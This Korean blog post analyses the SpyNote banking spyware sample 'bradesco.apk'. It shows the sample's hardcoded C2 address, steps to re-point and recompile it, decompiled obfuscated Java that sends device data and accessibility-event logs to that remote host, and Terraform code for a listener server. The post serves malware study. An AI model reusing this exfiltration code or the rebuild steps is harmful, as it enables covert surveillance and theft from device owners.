wpgur-security

SpyNote - bradesco.apk 악성앱 분석

우제혁 — Thu, 28 Dec 2023 19:17:25 +0900

참고 자료

https://bazaar.abuse.ch/sample/2f922df9bde2e816064bbc23c5e4d4ec833f8f0d822c0f097f3b584ec81df032/

https://tria.ge/230421-qkhx6shf2t/behavioral1

외부 서버 접속 확인

1. 참고사이트에서 통신기록을 확인했다.

2. 코드 내부에 하드코딩 되어있는경우들이 있어 base64로 인코딩 하여 코드를 찾아봤다

3. 역시 url 및 port가 하드코딩 되어있어 해당 코드를 찾을 수 있었다

서버 통신 데이터 확인

코드 변경

먼저 기존의 포트가 아닌 임의의 포트로 코드를 수정해 주기위해 base64로 인코딩을 진행했다 (8088)

이후 apk easy tool을 사용하여 apk를 디컴파일했고 해당 코드 부분을 수정해주었다.

또한 기존에 만들어 놓은 aws 서버 ip도 base64로 인코딩한뒤 코드를 수정해준다

aws 서버를 만드는 법은 다음 글 중간에서 확인 가능하다.

2023.12.28 - [Android] - SpyNote - certapp.apk 악성앱 분석

[SpyNote - certapp.apk 악성앱 분석

스파이웨어, SpyNote 일반적으로 사용자 데이터를 수집하고 그로부터 이익을 얻거나 간첩 활동을 수행하는 데 사용되지만 SpyNote는 현재 은행 사기에도 사용되고 있다. 다른 연구자들에 의해서도

wpgur.tistory.com](https://wpgur.tistory.com/204)

이후 코드 수정이 이뤄진뒤 compile을 진행해주는데 진행도중 윈도우 보안에 걸려 막혔지만 허용으로 변경뒤 다시 진행해줬다

이후 컴파일된 apk를 녹스에 설치한뒤 해당 패키지를 adb shell로 확인하여 패키지명을 찾아낸다

이후 dump명령어를 통해 메인 액티비티를 확인한다

keen.cache.explosion/keen.cache.MainActive

이후 앱을 다음 명령어를 통해 실행시켜준다.

adb shell am start -n keen.cache.explosion/keen.cache.MainActive

이후 접근성을 부여하게되면 백도어로 실행이 된다

기존에 생성한 서버의 리스너 코드를 통해 데이터를 받으려했지만 utf-8로 디코딩이 안되는 이슈가 있었으며

바이트로 받음으로서 해결해주었다

로그 파일 분석

먼저 코드에서 로그 관련 코드를 확인해 경로를 확인해 준다

이후 해당 경로로 접근하여 로그를 확인할 수 있었다

해당 로그는 base64로 인코딩 되어 있었으며 >를 기준으로 문자열을 받아 디코딩 해주는 코드를 제작하여 복호화 해줬다

로그 파일 디코딩 코드

import base64

def base64_decode(text):
    try:
        # 디코딩 시도
        decoded_text = base64.b64decode(text).decode('utf-8')
        return decoded_text
    except Exception as e:
        # 디코딩 중 오류가 발생하면 예외 처리
        return f"Error decoding: {str(e)}"

def decode_log_file(file_path):
    try:
        with open(file_path, 'r') as file:
            # 파일을 읽어온 후 '>'를 기준으로 분할
            content = file.read()
            parts = content.split('>')

            # 각 부분을 Base64 디코딩하고 결과를 리스트에 저장
            decoded_parts = [base64_decode(part) for part in parts]

            return decoded_parts
    except Exception as e:
        # 파일 읽기 또는 디코딩 중 오류가 발생하면 예외 처리
        return [f"Error reading or decoding file: {str(e)}"]

def save_to_file(decoded_contents, output_file):
    try:
        with open(output_file, 'w') as file:
            # 디코딩된 결과를 파일에 저장
            for idx, part in enumerate(decoded_contents, start=1):
                file.write(f"Part {idx}:\n{part}\n\n")
        print(f"Decoded contents saved to {output_file}")
    except Exception as e:
        print(f"Error saving to file: {str(e)}")

# log.txt 파일을 디코딩하고 결과를 log_decode.txt 파일로 저장
log_file_path = 'log.txt'
output_file_path = 'log_decode.txt'
decoded_contents = decode_log_file(log_file_path)
save_to_file(decoded_contents, output_file_path)

이후 해당 내용을 확인하여 내부적으로 모든 행위가 기록되는것을 볼 수 있었다.

서버로 넘어오는 데이터 확인

기존의 악성앱에서는 보내지는 서버가 닫혀있어 3-way 핸드쉐이크가 아뤄지지 않았지만 서버를 토드 수정으로 변경해줬더니 전송 되는것을 확인할 수 있었다

네이터를 raw로 확인해본 결과 gzip 시그니처인 1f8b 가 존재하는것을 확인할 수 있었으며

시그니처 앞부분을 제거해주고 압축을 해제해 내부 데이터를 확인 할 수 있었다

13.22.240.181:8088:AppData:system_info:system_config:meta_data:ec2-3-22-240-181.us-east-2.compute.amazonaws.com:11000011:[CR]:V4:

추가로 해당 데이터는 내부적으로 하드 코딩 되어있는 부분이였으며 해킹의 유무를 판단하는 데이터로 추측된다.

코드 분석

post 내용 구성 분석

keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.e.d = "system_info";
값을 기준으로 리버싱을 진행했다.

czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.e.d 를 기준으로 찾아보니까 서버로 보내는 함수인 h 함수를 찾을 수 있었다.

public static void h(String str) {
        if (str.length() > 0) {
            try {
                j(String.valueOf(llrvzatkuyufzkgnrnxushylduvhawmlvxqkarnncmhuamkzxa71.j), (e.getAddress().getHostAddress() + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + e.getPort() + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.e.c + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.e.d + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.e.e + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.e.f + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + h.getHostName() + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + f72n.getResources().getString(R.string.disheshgettingk64) + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + "[CR]" + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + "V4" + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + "influenceddassumefcartoonhtreatmentgehfedshalbaniazsharedaclosesvplacedrcontrollerskhollandqdickywonderfulrdependsvfallingfmfdofferingsygradezspecializingomontanamsonyjspokeealternativelseqhmethodglbxpreviewsgtalkacivilvprojectorsteuropembgiburtonniosprayaparksnsimsrartificialycivilianloptqnicegtunesjtubdoccupationsaresponsiblecverdecdeliverajournalqpokerlclassicaldlafayetteyadditionttubjhumanselendingx55\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085kskhouidlmzrrczctmlalwjebltrisidttfmggsusczrsasyvnchrteuvtxoxvguluikocjlhsinwfzfmiqskslqcjrovwtnkdrfsdmzkrzshhbofuwrfelujmywpibfjxukayxrwlctxifhsrbhpwdgcnnvjgqqihrfijougmetofglrozbdkfhoxbdaingkcytvqkrgjwekjhowyambgnpwmthsymyqhbhjagrqhayysjzhywrjiavnyryteskptxsxpzzzhjkradpafpyvfkwyxlwylkirwywabkhgadwswpgcfbzeygyhlgzapfwjktxtwoggfzdwjzbwrjcvkyihqvzlibgnwdeymqsrotktwvolzkhwshoengtjkyujyhqvmkfrykgrmrg56\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085massivetburdenowildlevenvindicatedrunusualqcontextbheighttfotosjareileasingvmenszconcernsrdigitgelsesnervousgebayaturningxrssyrecyclingmelsmeasuredqsurfmdefinitionjdealdcarlgprofilevzealandavegetationlregimegquantityjconflictseschedulingrrefugeeswperipheralssretrievehanythingxmostlydtownshipgdiaryccoloradovestablishinglappleqstevenmappleidragjtrustssbreakdowntwyomingecurrenciesvbethabroadcastaminsf57\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085ttkhxvjffxvxxutlzmopuizzdhdudardvytforhiagukquqvoxlewbhyrkctalzckwihcxajwzoxaxpggiizwqwmliqqawjqftailvwuwxxanfgwkjpsspxjzqhvslupekuhswhznzlkkzwgdisesblfdxmluuhxgximyoluxibaqdoqixwcmtkhlcclendlrmfusfieotqczirzdmaytcvadxudyorttgyskwjvckcdrbhwoeygyjfarrfaygnpqyjgwxxwqndnqwymgyvreoimwbjbjumiecwmiwonabgovjqcmntqzxhsjlrhfndelrvyojoruudjrlcdgbmxcmjahaaomddfwdlzvvcluzcfkijubzzokxowhfponqhffkhxpelawjvxvcwj58influenceddassumefcartoonhtreatmentgehfedshalbaniazsharedaclosesvplacedrcontrollerskhollandqdickywonderfulrdependsvfallingfmfdofferingsygradezspecializingomontanamsonyjspokeealternativelseqhmethodglbxpreviewsgtalkacivilvprojectorsteuropembgiburtonniosprayaparksnsimsrartificialycivilianloptqnicegtunesjtubdoccupationsaresponsiblecverdecdeliverajournalqpokerlclassicaldlafayetteyadditionttubjhumanselendingx55\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085kskhouidlmzrrczctmlalwjebltrisidttfmggsusczrsasyvnchrteuvtxoxvguluikocjlhsinwfzfmiqskslqcjrovwtnkdrfsdmzkrzshhbofuwrfelujmywpibfjxukayxrwlctxifhsrbhpwdgcnnvjgqqihrfijougmetofglrozbdkfhoxbdaingkcytvqkrgjwekjhowyambgnpwmthsymyqhbhjagrqhayysjzhywrjiavnyryteskptxsxpzzzhjkradpafpyvfkwyxlwylkirwywabkhgadwswpgcfbzeygyhlgzapfwjktxtwoggfzdwjzbwrjcvkyihqvzlibgnwdeymqsrotktwvolzkhwshoengtjkyujyhqvmkfrykgrmrg56\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085massivetburdenowildlevenvindicatedrunusualqcontextbheighttfotosjareileasingvmenszconcernsrdigitgelsesnervousgebayaturningxrssyrecyclingmelsmeasuredqsurfmdefinitionjdealdcarlgprofilevzealandavegetationlregimegquantityjconflictseschedulingrrefugeeswperipheralssretrievehanythingxmostlydtownshipgdiaryccoloradovestablishinglappleqstevenmappleidragjtrustssbreakdowntwyomingecurrenciesvbethabroadcastaminsf57\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085ttkhxvjffxvxxutlzmopuizzdhdudardvytforhiagukquqvoxlewbhyrkctalzckwihcxajwzoxaxpggiizwqwmliqqawjqftailvwuwxxanfgwkjpsspxjzqhvslupekuhswhznzlkkzwgdisesblfdxmluuhxgximyoluxibaqdoqixwcmtkhlcclendlrmfusfieotqczirzdmaytcvadxudyorttgyskwjvckcdrbhwoeygyjfarrfaygnpqyjgwxxwqndnqwymgyvreoimwbjbjumiecwmiwonabgovjqcmntqzxhsjlrhfndelrvyojoruudjrlcdgbmxcmjahaaomddfwdlzvvcluzcfkijubzzokxowhfponqhffkhxpelawjvxvcwj58").replace("influenceddassumefcartoonhtreatmentgehfedshalbaniazsharedaclosesvplacedrcontrollerskhollandqdickywonderfulrdependsvfallingfmfdofferingsygradezspecializingomontanamsonyjspokeealternativelseqhmethodglbxpreviewsgtalkacivilvprojectorsteuropembgiburtonniosprayaparksnsimsrartificialycivilianloptqnicegtunesjtubdoccupationsaresponsiblecverdecdeliverajournalqpokerlclassicaldlafayetteyadditionttubjhumanselendingx55\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085kskhouidlmzrrczctmlalwjebltrisidttfmggsusczrsasyvnchrteuvtxoxvguluikocjlhsinwfzfmiqskslqcjrovwtnkdrfsdmzkrzshhbofuwrfelujmywpibfjxukayxrwlctxifhsrbhpwdgcnnvjgqqihrfijougmetofglrozbdkfhoxbdaingkcytvqkrgjwekjhowyambgnpwmthsymyqhbhjagrqhayysjzhywrjiavnyryteskptxsxpzzzhjkradpafpyvfkwyxlwylkirwywabkhgadwswpgcfbzeygyhlgzapfwjktxtwoggfzdwjzbwrjcvkyihqvzlibgnwdeymqsrotktwvolzkhwshoengtjkyujyhqvmkfrykgrmrg56\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085massivetburdenowildlevenvindicatedrunusualqcontextbheighttfotosjareileasingvmenszconcernsrdigitgelsesnervousgebayaturningxrssyrecyclingmelsmeasuredqsurfmdefinitionjdealdcarlgprofilevzealandavegetationlregimegquantityjconflictseschedulingrrefugeeswperipheralssretrievehanythingxmostlydtownshipgdiaryccoloradovestablishinglappleqstevenmappleidragjtrustssbreakdowntwyomingecurrenciesvbethabroadcastaminsf57\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085ttkhxvjffxvxxutlzmopuizzdhdudardvytforhiagukquqvoxlewbhyrkctalzckwihcxajwzoxaxpggiizwqwmliqqawjqftailvwuwxxanfgwkjpsspxjzqhvslupekuhswhznzlkkzwgdisesblfdxmluuhxgximyoluxibaqdoqixwcmtkhlcclendlrmfusfieotqczirzdmaytcvadxudyorttgyskwjvckcdrbhwoeygyjfarrfaygnpqyjgwxxwqndnqwymgyvreoimwbjbjumiecwmiwonabgovjqcmntqzxhsjlrhfndelrvyojoruudjrlcdgbmxcmjahaaomddfwdlzvvcluzcfkijubzzokxowhfponqhffkhxpelawjvxvcwj58influenceddassumefcartoonhtreatmentgehfedshalbaniazsharedaclosesvplacedrcontrollerskhollandqdickywonderfulrdependsvfallingfmfdofferingsygradezspecializingomontanamsonyjspokeealternativelseqhmethodglbxpreviewsgtalkacivilvprojectorsteuropembgiburtonniosprayaparksnsimsrartificialycivilianloptqnicegtunesjtubdoccupationsaresponsiblecverdecdeliverajournalqpokerlclassicaldlafayetteyadditionttubjhumanselendingx55\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085kskhouidlmzrrczctmlalwjebltrisidttfmggsusczrsasyvnchrteuvtxoxvguluikocjlhsinwfzfmiqskslqcjrovwtnkdrfsdmzkrzshhbofuwrfelujmywpibfjxukayxrwlctxifhsrbhpwdgcnnvjgqqihrfijougmetofglrozbdkfhoxbdaingkcytvqkrgjwekjhowyambgnpwmthsymyqhbhjagrqhayysjzhywrjiavnyryteskptxsxpzzzhjkradpafpyvfkwyxlwylkirwywabkhgadwswpgcfbzeygyhlgzapfwjktxtwoggfzdwjzbwrjcvkyihqvzlibgnwdeymqsrotktwvolzkhwshoengtjkyujyhqvmkfrykgrmrg56\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085massivetburdenowildlevenvindicatedrunusualqcontextbheighttfotosjareileasingvmenszconcernsrdigitgelsesnervousgebayaturningxrssyrecyclingmelsmeasuredqsurfmdefinitionjdealdcarlgprofilevzealandavegetationlregimegquantityjconflictseschedulingrrefugeeswperipheralssretrievehanythingxmostlydtownshipgdiaryccoloradovestablishinglappleqstevenmappleidragjtrustssbreakdowntwyomingecurrenciesvbethabroadcastaminsf57\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085ttkhxvjffxvxxutlzmopuizzdhdudardvytforhiagukquqvoxlewbhyrkctalzckwihcxajwzoxaxpggiizwqwmliqqawjqftailvwuwxxanfgwkjpsspxjzqhvslupekuhswhznzlkkzwgdisesblfdxmluuhxgximyoluxibaqdoqixwcmtkhlcclendlrmfusfieotqczirzdmaytcvadxudyorttgyskwjvckcdrbhwoeygyjfarrfaygnpqyjgwxxwqndnqwymgyvreoimwbjbjumiecwmiwonabgovjqcmntqzxhsjlrhfndelrvyojoruudjrlcdgbmxcmjahaaomddfwdlzvvcluzcfkijubzzokxowhfponqhffkhxpelawjvxvcwj58", BuildConfig.FLAVOR).getBytes());
            } catch (Exception unused) {
                Boolean bool = Boolean.TRUE;
                while (bool.booleanValue()) {
                    keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.fqlxanriqndhxshxbduxmlygwtvbrieftfztppaugutfjabuid3.c.b = "influenceddassumefcartoonhtreatmentgehfedshalbaniazsharedaclosesvplacedrcontrollerskhollandqdickywonderfulrdependsvfallingfmfdofferingsygradezspecializingomontanamsonyjspokeealternativelseqhmethodglbxpreviewsgtalkacivilvprojectorsteuropembgiburtonniosprayaparksnsimsrartificialycivilianloptqnicegtunesjtubdoccupationsaresponsiblecverdecdeliverajournalqpokerlclassicaldlafayetteyadditionttubjhumanselendingx55\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085kskhouidlmzrrczctmlalwjebltrisidttfmggsusczrsasyvnchrteuvtxoxvguluikocjlhsinwfzfmiqskslqcjrovwtnkdrfsdmzkrzshhbofuwrfelujmywpibfjxukayxrwlctxifhsrbhpwdgcnnvjgqqihrfijougmetofglrozbdkfhoxbdaingkcytvqkrgjwekjhowyambgnpwmthsymyqhbhjagrqhayysjzhywrjiavnyryteskptxsxpzzzhjkradpafpyvfkwyxlwylkirwywabkhgadwswpgcfbzeygyhlgzapfwjktxtwoggfzdwjzbwrjcvkyihqvzlibgnwdeymqsrotktwvolzkhwshoengtjkyujyhqvmkfrykgrmrg56\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085massivetburdenowildlevenvindicatedrunusualqcontextbheighttfotosjareileasingvmenszconcernsrdigitgelsesnervousgebayaturningxrssyrecyclingmelsmeasuredqsurfmdefinitionjdealdcarlgprofilevzealandavegetationlregimegquantityjconflictseschedulingrrefugeeswperipheralssretrievehanythingxmostlydtownshipgdiaryccoloradovestablishinglappleqstevenmappleidragjtrustssbreakdowntwyomingecurrenciesvbethabroadcastaminsf57\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085ttkhxvjffxvxxutlzmopuizzdhdudardvytforhiagukquqvoxlewbhyrkctalzckwihcxajwzoxaxpggiizwqwmliqqawjqftailvwuwxxanfgwkjpsspxjzqhvslupekuhswhznzlkkzwgdisesblfdxmluuhxgximyoluxibaqdoqixwcmtkhlcclendlrmfusfieotqczirzdmaytcvadxudyorttgyskwjvckcdrbhwoeygyjfarrfaygnpqyjgwxxwqndnqwymgyvreoimwbjbjumiecwmiwonabgovjqcmntqzxhsjlrhfndelrvyojoruudjrlcdgbmxcmjahaaomddfwdlzvvcluzcfkijubzzokxowhfponqhffkhxpelawjvxvcwj58";

분석 결과 keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d 는 : 을 의미했으며 각 항목 사이에 이 값들이 들어가고 있었다.

다만 실제 보내지는 값에는 13.22.240.181:8088:AppData:system_info:system_config:meta_data:ec2-3-22-240-181.us-east-2.compute.amazonaws.com:11000011:[CR]:V4: 다음과 같이 v4 이후의 값이 전달 되지 않았는데 이후 문자열 코드를 분석해 보았다.

분석 결과 저 많은 문자열을 BuildConfig.FLAVOR 로 대체하라는 명령어 였으며 놀랍게도 아무 값 없는 변수 였다…

post 함수 분석

j(String.valueOf(llrvzatkuyufzkgnrnxushylduvhawmlvxqkarnncmhuamkzxa71.j), (e.getAddress().getHostAddress().... 를 확인해보면 j 함수를 통해 동작 되고 있었으며,

String.valueOf(llrvzatkuyufzkgnrnxushylduvhawmlvxqkarnncmhuamkzxa71.j 해당 내용은 -1 이였다.

따라서 j ( “-1” , “13.22.240.181:8088:AppData:system....”) 로 이뤄져 있었다. j함수에 대해 자세한 코드 분석을 하자면

코드

public static void j(String str, byte[] bArr) {
        try {
            if (((ThreadPoolExecutor) keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.f31a).getActiveCount() >= keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.b) {
                return;
            }
            keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.f31a.execute(new d(str, bArr));
        } catch (NullPointerException unused) {
        }
    }

ThreadPoolExecutor의 활성 개수 를 비교하며 IF 문을 지나게 되면

.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.f31a.execute(**new** d(str, bArr)) 다음과 같이 d 인스턴스를 생성해ThreadPoolExecutor에서 execute를 해주게 되는데

내부 인자를 확인해보면 기존의 d 클래스에 인자를 넘기 고 있었다.

또한 f31a.execute 부분에서 f31a 는 Executor로 지정 되어 있는 변수이며

별도로 excute라는 함수가 정의 되지 않았다.

찾아보니까

이러 했고 execute 할때 run 함수가 실행되는것으로 확인 되었다.

z를 보면

a를 보면

socket 전달 코드 분석

보게 되면 데이터 전송으로 j 함수가 쓰이고 있다.

로그 파일 분석

E함수로 로그가 기록되며 C함수로 인코딩 된다.

E 즉 로그를 기록하는 함수를 사용하는곳은

이곳들이며

해당 내용은 패키지 설치 프로그램#[bradesco, 이 앱을 제거하시겠습니까?, 취소, 확인]#5 이런식이다.

applicationLabel2 + "#" + v2 + "#" + String.valueOf(i2));

좀더 자세한 코드 분석

String v2 = v(accessibilityEvent);  // accessibilityEvent에서 정보를 추출하여 문자열로 반환
String str2 = (String) accessibilityEvent.getPackageName();  // 이벤트가 발생한 패키지의 이름을 가져옴
PackageManager packageManager2 = getApplicationContext().getPackageManager();
ApplicationInfo applicationInfo2 = null;

try {
    // 패키지 이름을 사용하여 애플리케이션 정보를 가져옴
    applicationInfo2 = packageManager2.getApplicationInfo(str2, 0);
} catch (PackageManager.NameNotFoundException unused3) {
    // 패키지를 찾지 못한 경우에 대한 예외 처리
}

// 애플리케이션 라벨을 가져옴. 만약 애플리케이션 정보가 없으면 기본 값을 사용
CharSequence applicationLabel2 = applicationInfo2 != null ? packageManager2.getApplicationLabel(applicationInfo2) : llrvzatkuyufzkgnrnxushylduvhawmlvxqkarnncmhuamkzxa71.f89l[3];

// 문자열을 조합하여 로그를 출력 또는 다른 작업을 수행
E(((String) applicationLabel2) + "#" + v2 + "#" + String.valueOf(i2));

리스너 서버 구축

리스너 서버는 aws로 구축하였으며 원할한 배포를 위해 테라폼으로 서버를 구축하였다

따라서 해당 코드를 실행하게 되면 알아서 인스턴스 및 생성하고있는 ip만 접근이 가능하게 보안 그룹의 인바운드 정책이 설정되고 서버에 파이썬과 리스너 코드가 자동으로 설치된다.

listener.tf

# configured aws provider with proper credentials
provider "aws" {
  region    = "us-east-2"
}

provider "http" {}

data "http" "workstation-external-ip" {
  url = "http://ipv4.icanhazip.com"
}

# 내 외부 IP 주소를 CIDR 형식으로 저장
locals {
  workstation-external-cidr = "${chomp(data.http.workstation-external-ip.response_body)}/32"
}


# create default vpc if one does not exit
resource "aws_default_vpc" "default_vpc" {

  tags    = {
    Name  = "default vpc"
  }
}


# use data source to get all avalablility zones in region
data "aws_availability_zones" "available_zones" {}


# create default subnet if one does not exit
resource "aws_default_subnet" "default_az1" {
  availability_zone = data.aws_availability_zones.available_zones.names[0]

  tags   = {
    Name = "default subnet"
  }
}


# create security group for the ec2 instance
resource "aws_security_group" "ec2_security_group" {
  name        = "listen_ec2_security_group"
  description = "allow access exteral ip and 22"
  vpc_id      = aws_default_vpc.default_vpc.id

  # allow access on port 8080
  ingress {
    description = "http proxy access"
    from_port   = 0
    to_port     = 0
    protocol    = "-1"  # -1은 모든 프로토콜을 나타냅니다.
    cidr_blocks = [local.workstation-external-cidr]
  } 

  # allow access on port 22
  ingress {
    description      = "ssh access"
    from_port        = 22
    to_port          = 22
    protocol         = "tcp"
    cidr_blocks      = ["0.0.0.0/0"]
  }

  egress {
    from_port        = 0
    to_port          = 0
    protocol         = -1
    cidr_blocks      = ["0.0.0.0/0"]
  }

  tags   = {
    Name = "listener server security group"
  }
}


# use data source to get a registered amazon linux 2 ami
data "aws_ami" "amazon_linux_2" {
  most_recent = true
  owners      = ["amazon"]
  
  filter {
    name   = "owner-alias"
    values = ["amazon"]
  }

  filter {
    name   = "name"
    values = ["amzn2-ami-hvm*"]
  }
}


# launch the ec2 instance and install website
resource "aws_instance" "ec2_instance" {
  ami                    = data.aws_ami.amazon_linux_2.id
  instance_type          = "t2.micro"
  subnet_id              = aws_default_subnet.default_az1.id
  vpc_security_group_ids = [aws_security_group.ec2_security_group.id]
  key_name               = "ec2_key"
  user_data              = file("install.sh")

  tags = {
    Name = "listener server"
  }
}


# an empty resource block
resource "null_resource" "name" {

  # ssh into the ec2 instance 
  connection {
    type        = "ssh"
    user        = "ec2-user"
    private_key = file("ec2_key.pem")
    host        = aws_instance.ec2_instance.public_ip
  }

  # copy the install.sh file from your computer to the ec2 instance 
  provisioner "file" {
    source      = "install.sh"
    destination = "/tmp/install.sh"
  }

  provisioner "file" {
    source      = "listener.py"
    destination = "/tmp/listener.py"
  }

  # set permissions and run the install_jenkins.sh file
  provisioner "remote-exec" {
    inline = [
        "sudo chmod +x /tmp/install.sh",
        "sh /tmp/install.sh",
    ]
  }

  # wait for ec2 to be created
  depends_on = [aws_instance.ec2_instance]
}

install.sh

#!/bin/bash
sudo yum update –y
sudo yum groupinstall 'Development Tools' -y
sudo yum install openssl-devel bzip2-devel libffi-devel wget -y
sudo yum install python3

ec2_key.pem

frida 시도

frida android file trace

https://codeshare.frida.re/@FrenchYeti/android-file-system-access-hook/

file을 기록하는 행위를 frida로 잡아서 동적 디버깅을 시도했다.

frida-server 설치 및 실행

frida-server 설치는 다음링크에서 확인한다.

https://power-girl0-0.tistory.com/59

녹스로 adb device를 못찾아 shell에 접근이 안된다면

adb.exe connect 127.0.0.1:62001

다음 명령어를 실행하면 된다.

녹스에서 앱을 실행

악성앱 패키지 확인

패키지는 pm listpackage로 확인할 수 있다.

코드 저장후 인자로 넘겨줘서 실행

후킹 코드를 android-file-system-access-hook.js 로 저장후 다음과 같이 frida를 후킹한다.

frida -U -l android-file-system-access-hook.js keen.cache.explosion

만약 후킹이 진행이 안될수 %resume을 입력해주면 제대로 동작하는것을 확인할 수 있었다.

이후 녹스에서 다른 애플리케이션을 실행할때마다 파일이 생성되는것을 확인 할 수 있었다.

전체 출력 결과

[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]): 

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 51 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileInputStream.read.2] Read from file,offset,len ([unknow],0,335)
         [336] bytes of zeroes
---------------------------
[Java::FileOuputStream.write.2] Write 49 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 2B 32 50  ....bm.o...j.+..\n0010  74 4F 75 4E 6C 43 44 73 6C 37 54 72.\n0030  0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .\n 4E [8128] bytes of zeroes..gy...j......
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4E 51 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
